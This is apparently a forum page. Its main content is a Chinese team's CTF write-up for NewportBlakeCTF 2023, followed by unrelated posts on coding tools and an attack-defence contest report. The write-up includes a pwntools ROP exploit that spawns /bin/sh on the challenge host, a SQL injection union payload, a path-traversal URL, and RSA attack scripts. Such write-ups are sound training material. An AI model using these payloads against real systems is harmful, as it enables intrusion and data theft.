    payload += p64(syscall_ret) + p64(0xdeadbeef)

    sla("Can you give my pet frog some motivation to jump out the hole? ",payload)

    pause()

    payload1 = b'/bin/sh\x00'

    sl(payload1)

    inter()

    

if __name__ == '__main__':

    filename = './ribbit'

    # libcname = '' 

    host = 'chal.nbctf.com'

    port = 30170

    e = context.binary = ELF(filename)

    # libc = ELF(libcname)

    BreakPoint = '''

    b frog

    '''

    p = start()

    exp()

```

## MISC

### do you hear that?

简单的音频隐写签到题

![](https://image.hackertalk.net/images/70db08ea-4b82-4e8c-a177-202addeecf90)

解出flag:`nbctf{y0u_h4v3_s0m3_g00d_34rs}`

## crypto

### Caesar Salads

题目如下所示:

`Ciphertext: xlmdp{ryzo_drsc_gkcxd_dyy_rkbn_yp_k_cdkbd}`

很基础的凯撒加密, 轻易可以推出位移数为10, 随便找个网站:

![](https://image.hackertalk.net/images/72523ca4-a607-4c70-af7b-5c7b8685e189)

解出flag:`nbctf{hope_this_wasnt_too_hard_of_a_start}`

### 32+32=64

两个文件, 里面装的像base64编码, 我的思维僵化了, 一直没想出32+32=64是什么意思, 还得靠队友, 将字符解码32次进行base64编码拿到flag:

```python

import base64

def decode_base64_multiple_times(encoded_str, num_times):

    decoded_str = encoded_str

    for _ in range(num_times):

        decoded_str = base64.b64decode(decoded_str)

    return decoded_str.decode('utf-8')

def main(file_name):

    file_path = file_name# "32_{}.txt"

    num_decodes = 32

    try:

        with open(file_path, 'r') as file:

            base64_encoded_string = file.read().strip()

        result = decode_base64_multiple_times(base64_encoded_string, num_decodes)

        return result

    except FileNotFoundError:

        print(f"Error: File '{file_path}' not found.")

    except Exception as e:

        print(f"An error occurred: {e}")

if __name__ == "__main__":

    flag = ""

    for i in ["32_1.txt","32_2.txt"]:

        flag += main(i)

    print(flag)

```

解出flag:`nbctf{h0pE_y0U_h4d_fUn}`

### Rivest Shamir forgot Adleman

rsa, 但是细看会发现有点不太一样, 看部分源码:

```python

m = bytes_to_long(b"nbctf{[REDACTED]}")

ct = (m^e) % n

```

latex写多了, 一直没想起`^`在python中是异或运算, 我在疑惑为什么不用pow()而是自己用符号实现了模运算, 效率会低很多. 发现了问题后就很容易直接反推密文了:

```python

n =  13431294979312769345517878088407659222785929563176888493659632690735510803353339825485161776891929296355466082338185199541755546384591261208929371208286410559187299345800125302598147388467283782373829399059130130575707550536466670447022349923395822077916588516101640779751198703879200863153859677174339078186779847910915309774616338231020176817201080756103027200290903849975398368943087868140010448011002364291104062990443568049879169811274854879262048473842331319786127894828031613201122015559660817797429013884663990368453887433480357502012963127000535358820517096295714967262963843868885674823702064175405493435873

e =  123589168751396275896312856328164328381265978316578963271231567137825613822284638216416

ct =  159269674251793083518243077048685663852794473778188330996147339166703385101217832722333

from Crypto.Util.number import *

pt = b"flag{fake_flag}"

u = 0

while pt[:5] != b"nbctf":

    m = (ct + (n * u)) ^ e

    pt = long_to_bytes(m)

    u += 1

print(pt)

```

讲个笑话, 我一直以为取模起作用了, 开始是令`u = 1`, 爆破了好久没出结果, 然后自己随便取了个`flag{test}`反推, 发现`m^e`可能会小于`n`, 把`u`改为从0开始秒出结果:

解出flag:`nbctf{wh0_t0ld_m3_t0_u53_xors!?!?!?}`

### SBG-ABW's Insanity

经检验getPrime(1096)会获取长度330的随机素数.

当获取AES的密钥时可以直接反解出结果, 故本题的关键是求出被哈希加密的`q1`, 已知`n1`和`n2`共用了`p`, 其中有

$$

\begin{matrix}

ct1 = m^e\mod{n1} \\

ct2 = m^e\mod{n2}

\end{matrix}

\longrightarrow 

\begin{matrix}

m^e - ct1 = m^e - (m^e\mod{n1}) \\

m^e - ct2 = m^e - (m^e\mod{n2})

\end{matrix}

$$

由模运算的定义可知$m^e - ct1$可被n1整除, 同理$m^e - ct2$可被n2整除, 即$p \cdot u = (m^e - ct1, m^e - ct2)$, 再将结果进行反代: $q1 \cdot v = m^e - ct1 p \cdot u$, 其中q为330位的素数.

接下来使用python求出$q1 \cdot v$:

```python

ct1 = 196150896308015382573408099004515975466540094705348761587854272630906023749083911008835478259767648401709605726136589590310666858430120235218762651641330953170392784645631801449432061363776229651965539255255795373230255852992805188205639228954217034390731460194284731845705855212209524525682241998203303747513174581513168217999505436596818091279091144718119512522929858750349220346765422769476003604849600128605208123474607256344535541843454810706150705449483256361736428064150792476736751093915251743882647862500622465233906844054109281842278362125589335774364236155483783338907105809549449368926475631824722919958889450225026843225780470131268709445293157749

ct2 = 83507921327913521142443934492559420944369023782917085618978768157512494136296269338031471193927727958060037960270530278173852027186606624474398269053920321522448607751539858355179998108075848593814112217098612017462222420001262248144471923306139580601814218471659969728514600258330312623506466116333593434744460773476488134792248490905628242447603788884700795677619881924772996081377617066055448888668800826281711315468059146518373888252421991592124071284411947405472003802863596010724784730366575751160333120162778945930063499020829492960600318519615351417595308518636794008603089224459556289944808655338805251676963828327517925911000528943113536807796285824

from Crypto.Util.number import bytes_to_long

from Crypto.Util.Padding import pad

from gmpy2 import gcd

m = bytes_to_long(b'we give you this as a gift!')

e = 11

p = gcd(pow(m,e) - ct1, pow(m,e) - ct2)

q1_v = (pow(m,e) - ct1) // p

print("q1*v = ",q1_v)

# q1*v =  9438107483604426099234307212427752475803854764708848335746164286148983426581753805031007985540714362644785021419780829848843302168556301770235625908216882683578075464112216424821035025880166672346974071285574853860969650611535038467308780428766159187393252271266400062630507333498189661076570162911509133920022337277819596436742504777762405418094034838882020565595203629234137016588

```

用[网站](http://factordb.com)先快速使用筛减一遍得到长364位的大数:215159925620871504066041755421707402109251457512031234570066010084122017405040683711805515329207311736, 因为q为330位的素数, 故另一位数的长度约34位, 两位数量级差距过大, 使用ecm方法, 这里用yafu爆破了大概十几秒拿到330位的素数, 再次进行计算:

```python

from Crypto.Util.number import long_to_bytes

from Crypto.Cipher import AES

import hashlib

enc_flag = "ac2289b707b174c541cf0952bf3b2057561b0872451444a5bbecf18c007ea20fa2b7c8a1707a74a1657e5adb5c1a417f"

q1 = 603701201822386830907144477326706640694145605732107023753674808182665696931502012989218558077472289899849882120737934821898165435847435044518846871242860227586749788240998624721376490806164324545522115137075097300642534248374378375756928831273442124872283671893345317220496457140852434166575343690062190540448032738970711476061243

key = hashlib.sha256(long_to_bytes(q1)).digest()

cipher = AES.new(key, AES.MODE_ECB)

flag = cipher.decrypt(bytes.fromhex(enc_flag))

print("flag is:",flag)

# flag is: b'nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}\x03\x03\x03'

```

解出flag:`nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}`

### Too Little Information

原理:

$$

\begin{matrix}

n = p \cdot q \\

n = p \cdot（p+q - p） \\

0 = p \cdot（p+q - p）- n

\end{matrix}

$$

使用(p+q)的部分值, 可以得到p的部分值(MSB相同), 然后使用Coppersmith定理进行高位攻击获得p的全部值。

使用sage进行Coppersmith定理攻击:

```python

ct = 20030315247290021934293927354887580426070566017560641204155610658927917290198737029903594702064351773446005018155094643288125396810753014936800515440652855824038470725838848349666236623899089094953181436465435270989651491997801177943499187812270081592263331832916362349716591828106306150603120693022149233534

e = 65537

n = 90166344558664675592644684556355545187373291859609367810958775310181360193141550862577281658089332577942193823477148064165061303827534169112815736618901965700400798345371758370344207077280925015891945591352156370597957742921722432314582261224366498475465730899163137511778647694175484386010210005826793007961

hint = 12227137598952006551839416663729660224872609953685427677011433223002140448682395830146750981200

from Crypto.Util.number import *

p_ = var('p_')

approx_p_plus_q = hint << 200

approx_p = int((p_*(approx_p_plus_q - p_) - n).roots()[0][0])

PR.<x> = PolynomialRing(Zmod(n))

f = approx_p + x

x = f.small_roots(X=2**200, beta=0.4)[0]

p = int(f(x))

q = n//p

d = pow(e, -1, (p-1)*(q-1))

print("flag = ",pow(ct,d,n))

#flag = 3955723565863787890122051087353365062947420706255423426561541597572251864498831149955181045122737577537149

#print(long_to_bytes(pow(ct, d, n)))

#nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}

```

可能是sage中的python版本太老, 直接调用long_to_bytes()无法得到结果, 会出现报错, 重新拿python跑了一遍结果:

![](https://image.hackertalk.net/images/c19b41ee-8a5f-4dec-863a-bd8c01818f81)

解出flag:`nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}`

## web

### Inspector Gadget

旗帜四散在网站各处, 几乎没有审计, 单纯的hide and seek小游戏, 辛苦web手了, 以下是其中一个flag:

![](https://image.hackertalk.net/images/715bf44c-43c8-45e4-b3ef-81b1b7192051)

* 直接进入其中一个网页找到标题flag1/4

* 在js里面找到隐藏文件`supersecrettopsecret.txt`, 访问后拿到flag2/4

* 让图片丢失后显示flag3/4

* 扫目录在`mysecretfiles.html`拿到flag4/4

最后组合后解出flag:`nbctf{G00d_J06_D3tectlv3_G4dg3t352}`

### walter's crystal shop

sqlite的简单注入题目, 比较欣慰的是我们团队中有两位队员分别独立地解出了这道题目, 我都存下了信息, 一位使用sqlmap, 这里主要写另一位的联合注入:

`Amethyst' union select 1,2,flag from flag--+`

查询后拿到结果:

![](https://image.hackertalk.net/images/7958ccd1-270e-45ca-99be-7bd12a78445f)

解出flag:`nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}`

### Galleria

因为好久没打其他赛道所以干脆只看crypto部分, 导致这么简单的题都没做出来, 从`Dockerfile`文件可知flag以`flag.txt`形式存放在`/tmp/flag.txt`处, 审计源码, 这里贴出部分比较关键的代码:

```python

def check_file_path(path):

    _path = Path(path)

    parts = [*Path.cwd().parts][1:]

    for part in _path.parts:

        if part == '.':

            continue

        if part == '..':

            parts.pop()

        else:

            parts.append(part)

        if len(parts) == 0:

            return False

    _path = os.path.join(os.getcwd(), path)

    _path = Path(_path)

    return _path.exists() and _path.is_file()

    

@app.route('/gallery')

def gallery():

    if request.args.get('file'):

        filename = os.path.join('uploads', request.args.get('file'))

        if not check_file_path(filename):

            return redirect(url_for('gallery'))

        return send_file(filename)

```

check_file_path()函数会过滤掉试图往回的路径, 影响不大, 直接访问`[网站地址]/gallery?file=/tmp/flag.txt`拿到flag.

解出flag:`nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}`



NewportBlakeCTF 2023 (NBCTF 2023) Sakana战队wp

记得之前有一个，基调是绿色的，从html到webpack到node都有涉及。但是怎么也找不到了。各位大佬贡献一下你们的日常背八股文的网站呗 :sleeping: 

求前端背八股文网站

像洛谷这样，签到之后能显示今日运势——单纯签到加积分感觉有点干瘪……![](https://image.hackertalk.net/images/02a15653-d9fd-4676-8914-4cd7eb2c155f)![](https://image.hackertalk.net/images/a1e0d9e3-8247-4427-9f96-39dbfe18efff)

感觉站长可以给签到加个功能

空间和时间复杂度都是 `O(1)`，好像还鲜有人知的算法：

```cpp
inline auto log_2(uint64_t x) { // also unsigned long long
    uint64_t rst = 0;
    if (x & 0xffff'ffff'0000'0000ULL) rst += 32, x >>= 32;
    if (x & 0x0000'0000'ffff'0000ULL) rst += 16, x >>= 16;
    if (x & 0x0000'0000'0000'ff00ULL) rst +=  8, x >>=  8;
    if (x & 0x0000'0000'0000'00f0ULL) rst +=  4, x >>=  4;
    if (x & 0x0000'0000'0000'000cULL) rst +=  2, x >>=  2;
    if (x & 0x0000'0000'0000'0002ULL) rst +=  1          ;
    return rst;
}
inline auto log_2(uint32_t x) { // also unsigned int
    uint32_t rst = 0;
    if (x & 0xffff'0000U) rst += 16, x >>= 16;
    if (x & 0x0000'ff00U) rst +=  8, x >>=  8;
    if (x & 0x0000'00f0U) rst +=  4, x >>=  4;
    if (x & 0x0000'000cU) rst +=  2, x >>=  2;
    if (x & 0x0000'0002U) rst +=  1          ;
    return rst;
}
inline auto log_2(uint16_t x) { // also unsigned short
    uint16_t rst = 0;
    if (x & 0x0000'ff00U) rst += 8, x >>= 8;
    if (x & 0x0000'00f0U) rst += 4, x >>= 4;
    if (x & 0x0000'000cU) rst += 2, x >>= 2;
    if (x & 0x0000'0002U) rst += 1         ;
    return rst;
}
inline auto log_2(uint8_t x) { // also unsigned char
    uint8_t rst = 0;
    if (x & 0x00f0U) rst += 4, x >>= 4;
    if (x & 0x000cU) rst += 2, x >>= 2;
    if (x & 0x0002U) rst += 1         ;
    return rst;
}
```

快速log2取整算法

**免费gpt4推荐 https://a.x-code.fun**

免费gpt4推荐 https://a.x-code.fun

最近在定位内存泄漏的问题，发现 Postman 已经支持并发调试了，可以替代 Jmeter（界面太老太难用了），performance test 的效果如下图，界面很好看，数据清晰：

![](https://image.hackertalk.net/images/0fa77da6-35c6-4cd1-b206-e58361bf1c21)

还可以模拟同时在线人数，做压力测试，设置流量增长曲线或者突发：

![](https://image.hackertalk.net/images/c769f49d-72f2-411c-ab47-29cecc34dbf6)

JProfile 是 Java 的调试可视化工具，不用命令行 dump 再分析，配合 Run GC 功能可以很快定位到内存泄漏的来源，除了看内存，还能看 CPU、Thread、JDBC 等通用接口指标。缺点是这个软件有点贵，如果有开源项目可以免费申请 License：

![](https://image.hackertalk.net/images/c02c3caf-104e-4372-a92e-b3f2c7d73f05)

Postman + JProfile 调试真方便

在队内简单训练过两次比赛后直接上场国际赛事, 最终成绩如下所示:

![](https://image.hackertalk.net/images/5549b2b5-0174-42d5-8c3c-86f315daaa33)

在249支出战战队中一支成立不久, 还带着刚招的新人的战队, 能拿到这个排名某种意义上也挺不错了. 下面是本次[sakana战队](sakana_ctf.gitee.io/sakana)带队队长**sudopacman**在这次比赛中的个人总结, 出战选手为: **sudopacman**, **H4nn4h**(新成员), **REP**(新成员), **liangmo**,**zy4024**(新成员).

## 连接部分

saarctf分为两种连接模式, 即云托管(即使用ssh直接连接)和自托管(使用oracle vm virtualbox). 本次比赛中本队使用了云托管进行参赛, 连接方式为:

* 将下载的*saarctf-cloud.conf*文件修改为*saarctf-cloud.ovpn*, 使用3.4.2版本对应工具直接连接.
* ping [战队IP], 确认丢包率不为100%即为虚拟环境连接成功.
* 提交ssh密钥后完成准备阶段.

![](https://image.hackertalk.net/images/5ba5b05c-ad4b-44a6-ae4a-149afa8d40a3)

以下将详细介绍ssh连接部分:

### openssh工具使用

战队使用openssh工具, 对于archlinux可以直接使用`sudo pacman -S openssh`进行下载, 密钥使用指令`ssh-keygen -t rsa`进行生成, 默认情况公钥和私钥将存放在.ssh文件夹中, 在文件中可以找到两个文件:*[私钥名]*与*[私钥名].pub*, 之前我们有人误将私钥当作公钥提交, 在这里提醒大家:*私钥名].pub*文件是公钥, *[私钥名]*是私钥, 不要随意把自己的私钥丢给大家.

## 竞赛过程

竞赛分为两个过程, 前面会留一小段时间进行代码审计与加固, 然后开始攻击时间, 本次比赛攻击轮次高达240轮, 每轮结束后将直接计算分值, 然后开始下一轮, 从晚上9点打到第二天凌晨6点, 加上在这之前还有一场凌晨2点持续24小时的常规ctf, 实在有点扛不住高强度消耗.

### 加固部分

感觉和网上说的差距会稍微有点大, 之前我们看教程主要说了点php的什么一件不死马, 弱口令......, 实际上好像也没这些乱七八糟的东西, 说一下我感觉重要的部分.

1. `scp`指令: 拉文件其实是一件很重要的操作, 比赛开始可以直接拉取题目数据到本地分析, down掉以后还能本地自己还原, 而不是直接扣大分还原服务器.
2. `ps -ef`&`kill`指令: `ps -ef`能检测后台运行的程序, `kill [指令号]`可以结束掉危险指令的进程.
3. 修改危险指令: 不建议直接删除, 我当时把很多重要工具进行改名, 结果防住了一些注入操作, 成功保住了几道赛题. 如果直接删除的话之后可能会有需要用到的地方, 像我之前出现了一个严重错误, 还好没有把指令直接删掉, 紧急修复了回去.
4. 代码审计: 删改掉一些危险代码, 和常规ctf比赛不同的是awd中的代码会很多很长, 导致无法全部复制到大模型中, 只能人工审计, 这部分以后慢慢考虑.

![](https://image.hackertalk.net/images/50a2f02b-545b-483e-a943-686419232a49)

### 攻击部分

相比防御, 攻击部分会显得稍像ctf, 可惜本次比赛我们战队的pwn手与web手全部翘掉了, 导致密码学玩家高强度坐牢. 我们试着打了一下没有结果, 最后干脆一心一意弄防御, 所以攻击部分就不细说误人子弟了, 简单聊一下自己的理解就好.

* 不同于训练赛, saarctf中不需要扫描ip, 玩家可以直接在排行榜找到对手的ip.
* 服务器中的代码一般是可以直接在网上找到的, 看历史issues应该可以帮到大忙, 但是我懒, 没有去看.
* 攻击的方式是审计与工具乱扫, 万一不小心扫出点什么呢, 很可惜, 我只在队内赛扫出点名堂.
* 值得一提的是对于大部分web新手来说主要学习php语言入坑, 但是以我这段时间的经历来看现在python, golang这类语言的比重在大幅提升,还有c语言的沙盒类题目比重也越来越高, emmmm, 大家看情况学吧.

![](https://image.hackertalk.net/images/19b038c0-8861-4854-84ac-0dc1443522ea)

## 杂谈

既然不是面向战队, 这篇文字就只介绍个大概吧, 对于awd, 个人感觉实战的体验和基本功会更加珍贵, 看教程学到的终究只能图一乐, 在越正式的比赛中基础会变得越重要, 反而只有那些简单的小比赛才会出现什么弱口令登录服务器和一键获取flag之类的东西吧.